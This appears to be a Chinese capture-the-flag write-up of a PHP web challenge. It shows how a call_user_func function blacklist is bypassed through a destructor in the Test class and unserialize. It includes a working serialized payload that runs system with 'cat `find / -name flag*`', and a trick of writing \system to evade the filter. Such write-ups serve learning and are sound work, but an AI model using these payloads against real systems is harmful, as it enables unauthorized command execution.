进入环境后就是一串报错和一张图片,主要是这个网页一直莫名抽搐
看源码得知是一个post请求方法,还有传入了两个参数,那就抓包看看
抓包后参数没有变化,还是这个
发送到重发器后,我才得知这个报错信息,原来就是,data函数的报错信息,那我们就可以猜测这个两个参数之间的关系,是函数和函数的参数
我们可以利用var_dump函数测试一下
发现确实存在命令执行的页面回显,那我们是不是直接可以
本来想直接利用scandir查看当前目录下的所有文件的,但是用法出了点问题
查看了wp,得知可以用 file_get_contents, highlight_file() ,show source()等函数读取路径下文件的内容
在这里我们只得知有一个index.php,所以我们可以查看一下index.php
func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
这段代码的功能是接收用户输入的函数名和参数,然后调用指定的函数并返回结果。
1. 首先定义了一个数组`$disable_fun`,其中包含了贼多被禁用的函数名
2. 然后定义了一个名为`gettime()`的函数,接收两个参数:函数名和参数。该函数通过`call_user_func()`调用指定的函数,然后通过`gettype()`函数判断`$result`的类型,如果是字符串,就返回结果。如果是其他类型,则返回空字符串。
3. 接下来定义了一个名为Test的类,有两个成员变量`$p`和`$func`,分别存储日期格式和函数名。在类的析构函数`__destruct()`中,如果`$func`不为空,则调用`gettime()`方法并返回结果。
4. 接着从`$_REQUEST`数组中获取用户输入的函数名和参数,并进行一些处理。
首先将函数名转换为小写,然后检查函数名是否在禁用的函数列表中。如果函数名不在禁用列表中,则调用`gettime()`函数并返回结果。
如果函数名在禁用列表中,则输出"Hacker..."并终止程序。、
所以如果我们进行传参,那传入的值会直接经过以上代码进行调用geetime函数,里的call_user_func 函数对输入的命令进行执行,并且会检查是否存在于黑名单,明显system是被过滤掉了的
但是在这个类中,就不存在对传入的数据进行黑名单检测,并且也会调用命令执行的函数,所以我们可以直接利用这个类进行反序列化,实现代码执行
序列化代码如下:
class Test {
var $p = "ls /";
var $func = "system";
}
$a = serialize(new Test);
echo $a
成功实现命令执行,但是没有看到flag相关的文件,可以使用一下find看行不行
可以执行,直接扫出来一大坨
这玩意要看到啥时候,我们可以采取反引号将find出来的结果赋值给cat继续执行,原本根据大佬wp应该是直接cat就行,但是我出不来,这样也不错
这就可以得到flag了
最终payoad
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:24:"cat `find / -name flag*`";s:4:"func";s:6:"system";}
`call_user_func()`函数可以用于调用各种类型的回调函数,包括普通函数、类方法或静态方法、对象的可调用方法以及匿名函数等。
这个特别牛,system不是被过滤了吗,但是我们可以直接将system改为\system
就匹配不到了,但是可以直接执行命令,可惜没 想到这一步